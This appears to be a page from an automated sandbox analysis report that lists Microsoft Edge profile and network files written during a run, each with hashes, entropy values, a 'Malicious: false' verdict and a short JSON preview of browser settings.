SHA-512:	B7AD04F10CD5DE147BDBBE2D642B18E9ECB2D39851BE1286FDC65FF83985EA30278C95263C98999B6D94683AE1DB86436877C30A40992ACA1743097A2526FE81
Malicious:	false
Reputation:	unknown
Preview:	{.. "current_locale": "en-GB",.. "hub_apps": [ {.. "auto_show": {.. "enabled": true,.. "fre_notification": {.. "enabled": true,.. "header": "Was opening this pane helpful to you?",.. "show_count": 2,.. "text": "Was opening this pane helpful to you?".. },.. "settings_description": "We'll automatically open Bing Chat in the sidebar to show you relevant web experiences alongside your web content",.. "settings_title": "Automatically open Bing Chat in the sidebar",.. "triggering_configs\|flight:msHubAppsMsnArticleAutoShowTriggering": [ {.. "show_count_basis": "signal",.. "signal_name": "IsMsnArticleAutoOpenFromP1P2",.. "signal_threshold": 0.5.. } ],.. "triggering_configs\|flight:msUndersidePersistentChat": [ {.. "signal_name": "IsUndersidePersistentChatLink",.. "signal_threshold": 0.5.. } ],.. "triggering_co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\13912c79-4fe2-4115-89f2-124a4155b716.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\6a29c456-e584-4aa9-b98e-c48c9ec2a031.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	2132
Entropy (8bit):	5.290075835574761
Encrypted:	false
SSDEEP:	48:YcCpfgCzsCLtsz/fcKsFqGleeBkBRsFTCyCfsFTCgH0YhbyD0:F2fhLe/6qGkeBkB2TRDTTFhn
MD5:	603CD3ED07BD1F70CE353944E17DD618
SHA1:	1AC24BAD569F824C3B8D49CC35A3E0D3F47BC03F
SHA-256:	93ADB91CEED165FA43FC17AAB9673D1B1A68378AEFB1D842281673182564B7A2
SHA-512:	A29256DE7F841D5F0CB0978105E9DA10F9BB10FFAE1F89071DF9CF32E68DF1A224E29B549BA1687BBA15C84DFCCBFCF5A633DA7F352B738C5D898A63E8FE566C
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379723560252520","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13379723564223756","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13377225166995029","port":443,"protocol_str":"quic"}],"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA="

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\965dbb06-36f2-466c-86f8-85bb0d84ca9d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF38ee3.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF27f57.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF29466.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Reputation:	unknown
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\a7546efd-ac95-4289-ba26-f64bb0b61b8a.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\fe9585ee-78eb-4978-9a79-59005d51b638.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Reputation:	unknown
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\feb84e01-a24c-4980-a088-c68df2f2469d.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1618
Entropy (8bit):	5.302994819295006
Encrypted:	false
SSDEEP:	48:YcCpWsduCvsafc7leeBRsygCgkhYhbyD0:F2vu22keBxukOhn
MD5:	90B46E2386024DB7264E402160E5F3B4
SHA1:	3B2E2F784405DFE32CFE038FAF9F0121224877BB
SHA-256:	C56B810798569D26A6B771B8DED39C12F26FAC419F019BC878C6B001FBFA501D
SHA-512:	FA97B24F01A6378FA4A2B3875E9694AC90F0C469E14675FE657DB2F6728C9C9A5D665766F97FE72F533AA89E38C0F0B700C364B85C75867AB6F0083EDD05B186
Malicious:	false
Reputation:	unknown
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["FAAAAA4AAABodHRwOi8vbXNuLmNvbQAA",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218151956","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"anonymization":["FAAAAA8AAABodHRwczovL21zbi5jb20A",false],"server":"https://assets.msn.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343557218812706","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwc

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111488193925085
Encrypted:	false
SSDEEP:	192:stFkdpbsfTyaNP9km6M8+bV+FXeQAUZ+P/YJ:stFQbsfTtJtbGOQH/
MD5:	4E74BEA7A5FB3D5F06E30D6D680F507F
SHA1:	B3F4F1C246F785FFA47C692777A7DDFFC06DA751
SHA-256:	2DD620BB5F3E7CBF5B1F53A152ECC01BC36EBAD510A4B4F804DFCCA8B6657FAA
SHA-512:	0DC2CF636CBF8CE92A86C6F2D106BFDD8151C9194FFDBF2EF3F847568AF4B5ADC5F5C406D160E2A4F0F4ECFE2D84EDD38A18B4299EFE712214AEA29D920C6587
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377131556227554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2c3a4.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111488193925085
Encrypted:	false
SSDEEP:	192:stFkdpbsfTyaNP9km6M8+bV+FXeQAUZ+P/YJ:stFQbsfTtJtbGOQH/
MD5:	4E74BEA7A5FB3D5F06E30D6D680F507F
SHA1:	B3F4F1C246F785FFA47C692777A7DDFFC06DA751
SHA-256:	2DD620BB5F3E7CBF5B1F53A152ECC01BC36EBAD510A4B4F804DFCCA8B6657FAA
SHA-512:	0DC2CF636CBF8CE92A86C6F2D106BFDD8151C9194FFDBF2EF3F847568AF4B5ADC5F5C406D160E2A4F0F4ECFE2D84EDD38A18B4299EFE712214AEA29D920C6587
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377131556227554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF2ec79.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111488193925085
Encrypted:	false
SSDEEP:	192:stFkdpbsfTyaNP9km6M8+bV+FXeQAUZ+P/YJ:stFQbsfTtJtbGOQH/
MD5:	4E74BEA7A5FB3D5F06E30D6D680F507F
SHA1:	B3F4F1C246F785FFA47C692777A7DDFFC06DA751
SHA-256:	2DD620BB5F3E7CBF5B1F53A152ECC01BC36EBAD510A4B4F804DFCCA8B6657FAA
SHA-512:	0DC2CF636CBF8CE92A86C6F2D106BFDD8151C9194FFDBF2EF3F847568AF4B5ADC5F5C406D160E2A4F0F4ECFE2D84EDD38A18B4299EFE712214AEA29D920C6587
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377131556227554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF31f9f.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111488193925085
Encrypted:	false
SSDEEP:	192:stFkdpbsfTyaNP9km6M8+bV+FXeQAUZ+P/YJ:stFQbsfTtJtbGOQH/
MD5:	4E74BEA7A5FB3D5F06E30D6D680F507F
SHA1:	B3F4F1C246F785FFA47C692777A7DDFFC06DA751
SHA-256:	2DD620BB5F3E7CBF5B1F53A152ECC01BC36EBAD510A4B4F804DFCCA8B6657FAA
SHA-512:	0DC2CF636CBF8CE92A86C6F2D106BFDD8151C9194FFDBF2EF3F847568AF4B5ADC5F5C406D160E2A4F0F4ECFE2D84EDD38A18B4299EFE712214AEA29D920C6587
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377131556227554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF37cc2.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111488193925085
Encrypted:	false
SSDEEP:	192:stFkdpbsfTyaNP9km6M8+bV+FXeQAUZ+P/YJ:stFQbsfTtJtbGOQH/
MD5:	4E74BEA7A5FB3D5F06E30D6D680F507F
SHA1:	B3F4F1C246F785FFA47C692777A7DDFFC06DA751
SHA-256:	2DD620BB5F3E7CBF5B1F53A152ECC01BC36EBAD510A4B4F804DFCCA8B6657FAA
SHA-512:	0DC2CF636CBF8CE92A86C6F2D106BFDD8151C9194FFDBF2EF3F847568AF4B5ADC5F5C406D160E2A4F0F4ECFE2D84EDD38A18B4299EFE712214AEA29D920C6587
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377131556227554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences~RF46a30.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	9680
Entropy (8bit):	5.111488193925085
Encrypted:	false
SSDEEP:	192:stFkdpbsfTyaNP9km6M8+bV+FXeQAUZ+P/YJ:stFQbsfTtJtbGOQH/
MD5:	4E74BEA7A5FB3D5F06E30D6D680F507F
SHA1:	B3F4F1C246F785FFA47C692777A7DDFFC06DA751
SHA-256:	2DD620BB5F3E7CBF5B1F53A152ECC01BC36EBAD510A4B4F804DFCCA8B6657FAA
SHA-512:	0DC2CF636CBF8CE92A86C6F2D106BFDD8151C9194FFDBF2EF3F847568AF4B5ADC5F5C406D160E2A4F0F4ECFE2D84EDD38A18B4299EFE712214AEA29D920C6587
Malicious:	false
Reputation:	unknown
Preview:	{"aadc_info":{"age_group":0},"account_tracker_service_last_update":"13377131556227554","alternate_error_pages":{"backup":true},"apps":{"shortcuts_arch":"","shortcuts_version":0},"arbitration_experiences":{},"arbitration_local_nsat_reset_time":"13340965831357520","arbitration_using_experiment_config":false,"autocomplete":{"retention_policy_last_version":117},"browser":{"available_dark_theme_options":"All","has_seen_welcome_page":false,"should_reset_check_default_browser":false,"toolbar_extensions_hub_button_visibility":0,"underside_chat_bing_signed_in_status":false,"window_placement":{"bottom":974,"left":10,"maximized":true,"right":1060,"top":10,"work_area_bottom":984,"work_area_left":0,"work_area_right":1280,"work_area_top":0}},"browser_content_container_height":882,"browser_content_container_width":1236,"browser_content_container_x":0,"browser_content_container_y":102,"continuous_migration":{"ci_correction_for_holdout_treatment_state":1,"datatype_details_migration_performed":true},"co

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.566967924675146
Encrypted:	false
SSDEEP:	768:ZfOpF/WPhRf9g8F1+UoAYDCx9Tuqh0VfUC9xbog/OVQNTEArw0MpAtuY:ZfOpF/WPhRf9gu1jadlEx0rtD
MD5:	2B32EA356B82D88B68B440D406F3312D
SHA1:	0CFC7EA614161DE94CA292DC4E056E97939FBB58
SHA-256:	E9039615B072F78104A26E103FFA4E235216FD967669E431BF3CF155A97E6249
SHA-512:	A3D3BC070F998EFB59CC14994E24AD3D8E653F90C2CAA8B6DDAEEDC5A161B2179D672D36643F708771413449223C4DC92485A2BC3B1369B644A4E2B8A859282C
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377131555635919","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377131555635919","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences~RF2bb76.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	25012
Entropy (8bit):	5.566967924675146
Encrypted:	false
SSDEEP:	768:ZfOpF/WPhRf9g8F1+UoAYDCx9Tuqh0VfUC9xbog/OVQNTEArw0MpAtuY:ZfOpF/WPhRf9gu1jadlEx0rtD
MD5:	2B32EA356B82D88B68B440D406F3312D
SHA1:	0CFC7EA614161DE94CA292DC4E056E97939FBB58
SHA-256:	E9039615B072F78104A26E103FFA4E235216FD967669E431BF3CF155A97E6249
SHA-512:	A3D3BC070F998EFB59CC14994E24AD3D8E653F90C2CAA8B6DDAEEDC5A161B2179D672D36643F708771413449223C4DC92485A2BC3B1369B644A4E2B8A859282C
Malicious:	false
Reputation:	unknown
Preview:	{"edge_fundamentals_appdefaults":{"ess_lightweight_version":101},"ess_kv_states":{"restore_on_startup":{"closed_notification":false,"decrypt_success":true,"key":"restore_on_startup","notification_popup_count":0},"startup_urls":{"closed_notification":false,"decrypt_success":true,"key":"startup_urls","notification_popup_count":0},"template_url_data":{"closed_notification":false,"decrypt_success":true,"key":"template_url_data","notification_popup_count":0}},"extensions":{"settings":{"ahfgeienlihckogmohjhadlkjgocpleb":{"active_permissions":{"api":["management","system.display","system.storage","webstorePrivate","system.cpu","system.memory","system.network"],"explicit_host":[],"manifest_permissions":[],"scriptable_host":[]},"app_launcher_ordinal":"t","commands":{},"content_settings":[],"creation_flags":1,"events":[],"first_install_time":"13377131555635919","from_webstore":false,"incognito_content_settings":[],"incognito_preferences":{},"last_update_time":"13377131555635919","location":5,"ma

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\Database\000001.dbtmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	16
Entropy (8bit):	3.2743974703476995
Encrypted:	false
SSDEEP:	3:1sjgWIV//Uv:1qIFUv
MD5:	46295CAC801E5D4857D09837238A6394
SHA1:	44E0FA1B517DBF802B18FAF0785EEEA6AC51594B
SHA-256:	0F1BAD70C7BD1E0A69562853EC529355462FCD0423263A3D39D6D0D70B780443
